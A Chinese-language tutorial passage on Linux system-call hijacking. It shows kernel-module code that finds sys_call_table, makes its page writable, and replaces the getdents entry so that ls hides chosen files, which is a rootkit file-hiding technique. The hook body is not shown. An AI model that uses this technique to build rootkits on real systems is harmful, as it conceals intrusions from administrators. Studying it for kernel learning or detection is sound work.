1.3 Linux系统调用劫持 hook
1.3.1 理解
系统调用劫持的目的是改变系统中原有的系统调用,用我们自己的程序替换原有的系统调用。Linux内核中所有的系统调用都是放在一个叫做sys_ call _table的内核数组中,数组的值就表示这个系统调用服务程序的入口地址。整个系统调用的流程如下:
当用户态发起一个系统调用时,会通过80软中断进入到syscall hander,进而进入全局的系统调用表sys_ call _table去查找具体的系统调用,那么如果我们将这个数组中的地址改成我们自己的程序地址,就可以实现系统调用劫持。但是内核为了安全,对这种操作做了一些限制:
- sys_ call _table的符号没有导出,不能直接获取。
- sys_ call _table所在的内存页是只读属性的,无法直接进行修改。
对于以上两个问题,解决方案如下(方法不止一种):
- 获取sys call table的地址 :grep sys_call_table /boot/ -r
- 控制页表只读属性是由CR0寄存器的WP位控制的,只要将这个位清零就可以对只读页表进行修改。
/* make the page writable */
int make_rw(unsigned long address) {
unsigned int level;
pte_t *pte = lookup_address(address, &level);//查找虚拟地址所在的页表地址
pte->pte |= _PAGE_RW;//设置页表读写属性
return 0;
}
/* make the page write protected */
int make_ro(unsigned long address) {
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte &= ~_PAGE_RW;//设置只读属性
return 0;
}
1.3.2 示例
开始替换系统调用,本文实现的是对 ls 这个命令对应的系统调用,系统调用号是 __NR_getdents。
在linux内核中,比较常见并且关键的就是系统调用表,系统调用表实际上是指针数组,下标是系统调用号,应用层发起的所有活动基本上都绕不过系统调用,控制了系统调用表基本上就是控制了整个系统.
hook只需要两个信息:系统调用表的起始地址和系统调用号,之后就能像修改指针一样进行劫持。
static int syscall_init_module(void) {
orig_getdents = sys_call_table[__NR_getdents];
make_rw((unsigned long)sys_call_table); //修改页属性
sys_call_table[__NR_getdents] = (unsigned long *)hacked_getdents; //设置新的系统调用地址
make_ro((unsigned long)sys_call_table);
return 0;
}
恢复原状:
static void syscall_cleanup_module(void) {
printk(KERN_ALERT "Module syscall unloaded.\n");
make_rw((unsigned long)sys_call_table);
sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents;
make_ro((unsigned long)sys_call_table);
}
使用Makefile编译,insmod插入内核模块后,再执行ls时,就会进入到我们的系统调用,我们可以在hook代码中删掉某些文件,ls就不会显示这些文件,但是这些文件还是存在的。
1.3.3 文章参考
http://t.csdnimg.cn/A4r9U